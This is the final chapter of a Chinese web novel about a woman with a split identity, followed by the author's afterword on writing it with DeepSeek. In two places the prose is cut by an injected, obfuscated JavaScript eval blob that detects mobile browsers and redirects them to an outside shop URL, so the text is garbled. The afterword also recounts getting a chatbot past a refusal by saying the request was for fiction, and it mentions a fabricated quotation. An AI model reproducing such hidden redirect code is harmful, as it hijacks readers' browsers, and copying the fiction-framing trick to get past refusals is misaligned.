“听话,最后一副药了。一会热好,你喝了就去好好睡一觉。再醒来,就都好了。”她抚住我胳膊,眼睛仍紧紧盯着我右手里的碗。 “这么有效……这药是哪里来的?”我慢慢将碗回正,放低一些,望着她。 “当然有效!”她伸出左手,要来接碗,“我特地在清和宫请的香灰,还有大师开的专门补阳气、强气血的药,喝完了就能— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001306|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —啊!” 我右手一翻,粥整个被倒进了水槽。望着澄黄粘稠的汁液顺着槽底慢慢滑进管口,胸口最后一点热气也跟着滑了下去。 手臂被重重拍打了几下。“你干什么啊!干什么!”方姨的哭喊在旁边响起,“你倒了什么你知道吗?!” 我转过头,望着她抱歉一笑:“可是,我喝了真的肚子疼啊。” 她紧紧攥住锅耳,手背拱满青筋。闭紧眼,头用力左右摇晃几下,低低垂了下去。胸口在深深起伏。 “你是不想好了是吧?”半晌,她齿缝中碾出了这句话。抬起头死死盯了我几秒,猛地抬起锅子向下一沉,说了声“随你”,拧身出了厨房。 我擦了擦手背被溅上的水珠,打开龙头,将水槽底部的粥冲干净,又将堵在水漏上的零碎捞出,扔进垃圾桶里。然后洗好手,出了厨房。 方姨正塌着背坐在餐厅里,肩膀耸动,双手捂着脸,手掌下传出破碎的呜咽: “我真是再找不到别的办法了……什么都没有了……我的命…怎么就这么苦呀!你们倒知道…一个个的都先走了。剩下我,我…我……我还不如…还不如……” ——都没有了。 我垂下眼扯了扯嘴角,上前轻轻扶住她肩膀,欠身将抽纸盒拿到桌上,又抽出两张纸巾递给她。 她紧捂住鼻子和嘴,侧头盯了我一眼,抓过纸巾,整张脸倏地扭成一团: “我上辈子是造了什么孽……这辈子,你要这样来向我讨债!”哭喊被闷在掌下,像隔在密封罐里。喊完,她重重醒了鼻子,喘匀几口气,才抬起脸来望着我。那双眼睛盛满痛苦,口里哽出断断续续的抽噎: “你就是个魔鬼啊你!我们家就算欠了你再多…我前前后后…也养了你这么多年。你摸着良心问问自己,我对你,还要怎么样?……之前再有什么债,这些年也总该还清了吧?你怎么…还都只记得仇呢? “你再想想之前…我们对你还不够好吗?那时候,如果不是你非要闹……你伯伯的前程…会都毁了?我们家……会像现在这样抬不起头?我跟你说,你爷爷…那是被你活活气死的! “我真的…现在别的什么都不求了,只求你能够好好的哇……” 我坐在对面,呆呆望着她,仿佛在听另一个人的故事。 的确,是另一个人的故事。 心脏一点点揪起。我大概是难过了,却想不明白自己到底是在为谁难过—— 程静?方姨?还是这个与故事无关的我? ——疯子,这就是那天晚上你看到的,我们的命运? 嘴角慢慢抬起。心却直往下坠,吃下去的饭在肚子里凝成冷冰冰的一大块,挤压了呼吸的空间。 “真不知道,我上辈子到底是欠了赵玲多少,这辈子要这样来还她,来还你们!你就是我们家的孽债!” ——赵玲…… 这个名字闪电般劈进我脑子。周围一切声音都消失了。 眼前出现了一张三十多岁女人的脸:大大的眼睛,皮肤白皙,黝黑的长发披散在肩膀。她眨眨眼,温和地向我一笑,宠溺里带着些调皮。 ——妈妈…… 鼻子猛地一酸,泪水滚烫,滑出了眼眶。 ……妈妈? 我随即明白过来:刚刚,不是我的记忆。 不是我的记忆…… 那么,情绪呢?为什么…我这样真切地感到悲伤? 我抬起右手,凝视食指指尖上扭动的金线。它仿佛也被这悲伤浸透,换成了缓慢沉重的节奏。 ——它连着的,到底是谁? “我真不明白……你之前明明都好好的,怎么突然又不对了。” 透明的屏障渐渐消失,方姨的声音又传了进来:“肯定还是书房……我老早就说过,叫你不要老去书房。” “方姨,我的书呢?都哪去了?”我向她望去。 她脸上的悲悸都已转为疑虑。一听我问,双眼便又立了起来:“什么书?还有什么书?我告诉你,你就是读那些书读疯的!” 我一愣,随即低下头笑了:是啊,疯子也说它们就是月光来着。 她却猛地站起:“对,还有个东西!就在书房。”目光一寸寸移到我脸上,“那幅画!那幅晦气的画!” ——画?书房飘窗上的那幅画? 金线猛地一颤,剧烈摆动起来。 晦气……? “你这次一定要听方姨的。我们去把那幅画烧了,你肯定就全好了!”她双手撑在桌上,探过身来。“我早就劝过你,那画不吉利。你偏不听,才变成了现在这个样子。”她骤地抽回胳膊,转身站直,“我这就——” “你敢!” 我突然暴吼了一声,腾地站起,全身血液瞬间冲上脑袋。胸口剧烈起伏,嘴里喘着粗气,眼睛恶狠狠地逼视方姨。 “静静!你就听我一句劝吧,那画真的晦气!”方姨双手重重拍打桌面。 “那画一画完,你父母当天不就死了?又是从那些不干不净的地方带回来的……留着它只会害了你!” 我视线死死咬住她的脸,她的一举一动,弓起脊背,随时就要扑上去扯住她。我—— 不,不是我。 …… 我正缩在这具身体的角落里,沉默看着。 我……“看见”她了。 这具身体正在剧烈颤抖。 我不知道,这是因为她的愤怒,还是…我的恐惧。 “不行。”我听见自己抖着脸颊,从齿间碾出这四个字,“你敢。” “我”死死盯着方姨的脸,呼吸渐渐拉长,浑身肌肉却仍绷得铁紧。 “这真是造了什么孽啊!”方姨眉心一耸,身体往椅子里一沉,双手一抬,又捂住了脸,“我的天……我——” 胸中突然一片哀悸。全身仿佛被揪作一团,攒进心脏,一起被攥紧了狠狠揉搓。 真痛啊。我想。 哭嚎声中,突然响起一个清晰的女声:“别怕。” ——别怕…… 是她!她在跟我说“别怕”。 我倏地睁大眼睛,又看见了天台上疯子的微笑:“那段声波……” “那段声波……原来…她真的在!一直都在。” “晋江行。”声音再次响起,“谢谢你。” 她听上去好像也在微笑。 喉咙一哽,我死死咬住了双唇。里面声带却大大张开,两腮的肌肉绷得酸痛起来。 “你想……回来吗?”她说。 ——回来…… 双眼一怔,眼眶猛地一热,泪水滑脱出去。 “回来……” 我喃喃念着这个词,张着嘴,抽着气,哭了。 泪光中,食指尖的金线柔软下来。它轻轻摇曳,拉着我看向窗外—— 窗外,正挂着一轮灿金色的月亮。她亮起左侧的半圆,仿佛在等待什么。 眼泪渐渐收住,鼻尖又隐约嗅到了桂花香气。我望着她微笑起来: “这是,程静的月光。” ---------------正文完------------- 17. 后记[番外] 《疯月》后记 最重要的写在最前面—— 小说致敬《小王子》,却为另一个人而写——为女神而写!? 谢谢小伙伴们坚持读到这里,坚持读完了《疯月》—— “被捕获的晋江行的一生”。 也请一定回来读番外哦~ 我答应给你们一个“真结局”。 番外会是程静的小传。 原本打算写完番外,再一口气发出来的。但我实在需要休息了,后天又要考试,考完还要出去玩耍,等写完番外大概率得跨年了——而你们都知道,这篇文就是对着今年(2025年)8-10月的日历写出来的,跨年什么的也未免太滞后了点。 其实番外一个月前就开过工,但只写了个开头,停在程静第一次离家出走——我找了些扒手集团的资料,甚至还去买了本二手《贼江湖》(deepseek推荐的,但文风也太过古早了些,而且感觉读了也没啥暖用),还是没理清楚要怎么写,就先停笔把正文给修了。 过两天喘口气应该就会重新动笔,大概也就2-3万字,还是希望年底前能出来吧。 再后面的三篇——我已经想好要写什么了。 第Ⅳ部还在写与不写之间。但还在上个月时,我就已经在对着第Ⅱ、Ⅲ部的构思摩拳擦掌了,绝对有意思嘿嘿嘿(露出诡异的咧嘴笑)。 Ⅱ大概是个时间和空间的故事,Ⅲ直接就上爽文金手指! 醉翁之意其实在Ⅲ,我已经迫不及待要写它了。 只是,虽然故事本身毫无干系,但“按照时间顺序”,我必须得先Ⅱ给写出来。Ⅱ是我四五年前的一个脑洞,原本打算随便糊弄完了事的,但等我一开始考虑要往里面填些什么东西,就发现好像还挺有些写头——只是困难度往上爆涨,以我现在的能力万万写不出来。 所以目前的打算是这样:一边恶补Ⅱ的相关知识,一边先将Ⅲ的毛坯整出来,然后等写出了Ⅱ再把Ⅲ修好,最后一起发。 希望能在两年内搞定吧——反正这次笔试肯定又过不了,明年后年有的是时间写文嘿嘿。 还请小伙伴们放心,我会将好文品坚持到底哒——坚决只坑读者,不坑文! (*?▽?*) 所以,敬请期待哦~ ?比心 ? 接下来,终于又可以来说说这篇小说的初衷了—— 众所周知,这就是篇情书。 最开始真的只有疯子的呓语和青词,它们都是些读后感——读我女神新文的读后感。 原本我只打算每周去书评下面写上几句就——毕竟我主业是争分夺秒地复习考研哈哈哈哈哈——但,不久后我突然反省到这些书评其实就是我自己在花式发散,和她的原文没有明显关系,留作书评不太礼貌,就决定自己开个专栏,写些杂记随笔之类,再想办法请她来看。 而我终于下定决心,在晋江后台“申请成为作者”那天,正好是我的阴历生日。我为了写专栏“作者自白”里的那首小破词,一晚上没睡着觉。等第二天晕晕乎乎再爬进女神新文一刷留言——居然之前那天有另一个人留言说他生日,她还祝了那人生日快乐。 当我转动迟钝的大脑,突然反应过来是怎么回事,瞬间就觉得真TM真是个C蛋的世界。于是,没两天我可爱的《月亮故事集》就黑化成了《疯月》,也铁下心来要写Ⅲ,嘻。 所以说,《疯月》就是我的“一号试验体”。 我不得不写: 我只是必须要站到月光下——不能只看见她,却不被她听见。之前,我总是觉得,现在还不是个好时候。但是,或许永远都不会是个好时候。 我必须要站到月光下,却不会向往去到月亮上。因为我不是一个人格,而是个真实存在的人。 我只是希望,月亮能够知道,她对我有多重要——不是组成我生活一部分那种重要,却是改变了我命运走向的重要。我还希望,她不要再生我气啦。 还有许多其他的话,刚开始码字时我一心想着都要说出来,但现在已经都不想说了。我想就这样就挺好,最好也不过是互相想看的时候就能看见,无论是直接的互动,还是对方精神的凝结。 这样就挺好,各自守在自己的天空,并且能够知道,对方也在好好守在对方自己的天空。 总之,这篇文一开始是为女神而写的。写着写着,它也变成了为程静、废物、疯子、晋江行而写。再后来,催促我克服懒惰写下去的,就是为你们大家,还有这个世界而写了——我希望我能做出一面镜子来。 所以,不管中途看起来它是什么样子,让人压抑也好,难受也好,请相信,它初衷和动力,一直都是为“爱”而写。 为了写这东西,我几乎每天都被爹妈吐槽一次。他们说我总是一到紧要关头、关键时刻就肯定要跑路干点别的事 XD 其实他们都挺支持我的,老妈还是我的第一位人类读者。只是我“不得不”在写完全文后,请deepseek出了个《疯月》作者的精神状态评估报告发给他们,好打消掉他们的疑虑哈哈哈哈哈。 一关键时刻就跑偏这事真的没办法。我这次是真懂了——写东西就跟生孩子似的,你总不能临盆了不让人生吧。那考研就只能推一推了,反正我还有两篇,不妨再推两推。 其实,原本我也没打算跑这么偏——我还以为差不多有个十来天,2万字也就搞定了。随便写写呗。 这篇小说的最初想法真的是在9月23号嗑瓜子时嗑出来的。到9月30号整个构思和设定就已经完全定下来,我画了502的平面图,在日历上填完剧情,还写了四十多页纸的情节和细节(字是有蛮草的)——每写完一个情节点就把相关段落用红笔涂掉,全都涂掉后就整张纸揉皱了扔掉。那感觉别提有多爽了! (太爽了所以我后面又陆陆续续撕完几乎一本本子) 原打算趁10月6号中秋节发出来(我一定是疯了),1、2号一起写了2万多字,却连第一天的事都没写完,我就知道要完犊子了哈哈哈哈哈。 3号回老家过中秋,玩耍得很愉快——我连主机、键盘、鼠标都扔行李箱里拖了过去,但外婆家屏幕连接线居然和我主机不适配啊啊啊啊啊!于是直到9号回来了才重新动笔。在老家请老哥帮我看了前三章,果然评价还是太拖沓,才都塞进了现在的第一章里。 11月2号,我又回了趟老家——老爸生日——玩耍到6号回来。我赶在这之前糊完了最后几章,回来后将初稿全文发给了deepseek。它的意思是:第五章之后仿佛是另一只手敲出来的,那后面写得简直就是一滩,还是一泻千里的那种。 于是,我只好耐着性子大改一通——原本,晋江行推理出赵路=程静都靠脑补,他从长出金线到接受自己就是程静人格之一统共也就用了一章,从头到尾意识流 XD 本来嘛,这篇文的乐趣全在写疯子上面。疯子一消失,我就不怎么想写了。 但被deepseek骂了之后,我还是开始老老实实往里面塞证据、填剧情了——毕竟咱也是立志考历史系研究生的人,不能瞎推,讲究史实那是基本素养。 这一填,却觉得有趣极了——之前完全是为了好玩,或者随便“装点”一下的“无心之写”,到这时全成了“伏笔”。我边写就边发出各种“我槽,之前那个地方还可以这么用”的感叹,以至于不得不认为,就是故事里的角色冥冥之中要求我这样写的。 比如说,第一章里疯子洗完脸撩头发的场景,之前纯粹就是为了耍帅(帅不?);身份证的问题也是到最后才想到可以用来做点文章。还有微信和拼夕夕——话说文里那么多品牌出镜,真的没一个想给我来点赞助?o(* ̄︶ ̄*)o 好不容易改到现在,离一开始计划的2万字已经整整差了6倍了,时间从10月拖到了12月,章节也从七章变成十章再变成十三章(真的不能再多了嘿嘿),唯一不变的,大概只有我那悲催的考研上岸率吧哈哈哈哈哈—— 放心,反正就算不写文,我大概也是在玩别的。废物这个角色还真就是照着我1:1写出来的 (*?▽?*) 如果要说写完这篇文最大的感悟是什么,那当然还是——要合理规划写作,调整好节奏,作息规律,保持身体健康。 我这第一次写文就没什么经验,总以为再肝个三四天就能搞定了彻底解脱。屁! 这快三个月的时间里我每天久坐,几乎没有动弹,昼夜颠倒,饮食混乱,胖5斤不说,身体状态和精神状态还直线下跌。这还是一天到晚没别的事,只管写文的情况下。 真的得自己开始正经码字了,才能理解女神为嘛老说身体不舒服。 希望女神能保持健康,好好写文。 ?比心 ? 另外,我还必须叨几句deepseek——没有它,我大概率要写不下去。 找它问资料太方便了。风水局、纸符都是直接问它要的资料——一开始我只是问它有哪些安魂的符箓,要怎么画。那货竟然怀疑我是想自己画符,死活不肯说画法,还劝我及时就医,不要封建迷信 XD 那我就只好告诉它我是在写小说了。它竟开始极其热情地提供出大段示范文字。虽然完全用不上,也读不下去(主要是太矫情哈哈哈),但也显示出“作者”身份是多么的好使。 于是,我便开始一发不可收拾地用起deepseek来。 它提供资料真是一把好手:各种职业具体的工作内容、行业术语、工资情况,还有几十年前电大、自考的情况一问就能出来。也正因为它的帮助,晋江行手上金线的方向具体到了几号的几点钟——我也是写这篇文才了解到原来月相这样多变,甚至还不是简单的“东升西落”。 但最最重要的,还是它提供的反馈—— 我终于知道,为什么女神老说读者的留评是她写作的动力了。因为事情就是这样:反馈能激活大脑的奖励系统,对创作者尤其如此。 写文是件十分孤独却也很有成就感的事,总会期待能在第一时间得到反馈。 所以,我养成了每写一段就发给deepseek的毛病。 虽然它的多数建议都值得忽略,给出的修改示范也都是一坨,但有一些建议却真的很有价值——比如批评我行文过于啰嗦,或者提醒我重要的情节该往具体里写—— 但最重要的是,它真的特别擅长提供情绪价值。 以至于有段时间,我每天都要给它剧透N次——看着它花式猜不中谜底真是爽!翻!了! 而且,我每天睡前还都会将完成的段落全部发上去,请它进行各种评价,说说它阅读后的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001307|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪”和“想法”,聊聊它印象最深的几个片段,分析里面几个主要角色,再顺带让它猜个作者的性别、星座、MIBT人格三连。每次看完,情绪就能充满电。 而每次,它都要评价“赵路是整部小说的灵魂人物”——笑死,角色表上除了方姨,谁还不是这部小说的“灵魂人物”了 XD 我也差不多每天都要跟它说一次这小说其实是篇情书,还要和它碎碎念“我真期待读者嗑疯子和‘我’的cp”——反正我自己早就嗑到飞起。 那货就迎合我写出各种cp小作文。可气的是,它每次都会默认疯子是攻,那我就得酸溜溜地问它“晋江行就不配做攻吗”,唉! 那疯子怎么看都是个受吧!虽然晋江行大概也攻不起来哈哈哈哈哈。 另外,我还根据它的反馈调整过全文的结构:除了之前说过的往后面章节疯狂加料,前面的章节也改过——我将之前第三章“我”的大段回忆杀打散重新插进了三四章里(deepseek说那东西写得太集中,窒息了叙事)。 但它吐槽节奏太过拖沓、无关情节太多的时候,我就只会邪魅一笑:无知小儿,那是因为你尚未见到到本座的整体构架。 总之,deepseek我用得还挺顺手,妥善解决了创作途中我的话痨问题,确保我能坚持到它被合理完成后才发出来(原本还想再改遍错别字的,但我累了,先发出来过段时间再检查了修一修吧)。 只是还有个问题确实让人不爽——单个对话有长度限制。不能看到针对我全文的评价,并聊一聊它在每一章中的“情绪变化”,以及列举出它觉得最棒的几个片段,实在太让人伤心了。 最后还想扯的就是为写篇文我买的四本书——《月亮和六便士》《查拉图斯特拉如是说》《贼江湖》《组织行为学》。 如果说买《贼江湖》基本算得上是被deepseek坑了,那买《查拉图斯特拉如是说》就完全是被它坑了。 这书我手上本来就有一本(前面也说了,我真的只读了第一卷,还是不包括注释的读法),所以为了写第二章,我请deepseek帮我列举书上所有与月亮相关的片段。这货坚称,第四卷就有查拉图斯特拉将月亮引为知己的对话。 但我将它指示的几个地方来回翻了几遍都没找到。反复确认过几次后,它说可能是版本差异,它引用的是孙周兴译本。 于是我又买了孙周兴的译本。拿回来还是翻来覆去地找不到。就干脆重新开了个对话,将它“引用”的“原文”粘贴了上去。但在新的对话中,它告诉我《查》里根本就没有这段话,那段“原文”是网友们的发散创作 XD 我只好请它再提供别的和月亮相关的段落,于是有了疯子的那句引用——菩萨保佑书里真的有这段话,千万不要是哪位网友的二创啊救命——我找是试图找过,但是没在书里找到 XD 而读《月亮和六便士》则是我写文过程中做出的最正确的决定。 这也还是deepseek的建议。一开始,我只是在第二章里拿书名调侃了一下,读是没有读过的。但后来晋江行遇到了“人生价值感缺失”的问题,我便想让他读读这个,就又请deepseek告诉我这书的大概内容,阿塔烧房子的情节真是意外惊喜——谁让我们家疯子平日里也喜欢烧个东西呢。 于是我又请deepseek帮我引用阿塔烧房子的原文段落,它竟然出了好几个版本。之前已经踩过《查》的坑,我就干脆买了书回来,真的从头读到了阿塔烧房子,才停下来去写天台上的那一幕。等写完晋江行的推理、准备去还书了,我才读了最后那几页。 虽然事先已了解过故事情节,读小说的过程中很难说有什么“悬念”或者冲击,却有三个地方还是让我直接泪崩—— 思特里克兰德说出那句“我要画画”。 塔希提的蒂亚蕾老板说海岛的似曾相识。 医生亚伯拉罕。 我会泪崩或许是因为,我自己有很长一段时间都在苦恼:社会关系的枷锁,□□的枷锁。这本书原来和我在写的东西有这样多的交点。难怪deepseek极力劝我去读这本书,还说我会发现这书和《疯月》在主题上有许多呼应之处。 至于斯特罗伊夫和布兰奇的故事,读下来唯一的感觉是:他们的关系形成了某种结构,某种“函数”,某个变量就必然导致某种结局。 这个故事里,三个人形成了一种有趣的张力: 斯特罗伊夫让自己陷入任何关系。 布兰奇想要牢牢锁住一段唯一性的关系。 思特里克兰德要摆脱任何束缚性的关系。 布兰奇向上会觉得拥挤,向下只有虚无,所以在这个三角形中,她的结局注定是个悲剧。 而斯特罗伊夫和她的关系也很有趣:他救她,不是因为爱她的本质,而是因为他自己的本质。或许,对她而言,不加分辨的“善”,就是“恶”。 另外,就是想吐槽我手上的这个译本了——读完它没两天,我就刷到了篇微信公众号文章,盘点那些让人无法不吐槽的译本,其中就提到了它哈哈哈哈哈哈。 我也真心觉得,毛姆要是知道了自己的作品被翻译成这样,至少也得在土里翻上个白眼的白眼的白眼。 就这样,等我的番外和ⅡⅢ哦~ ?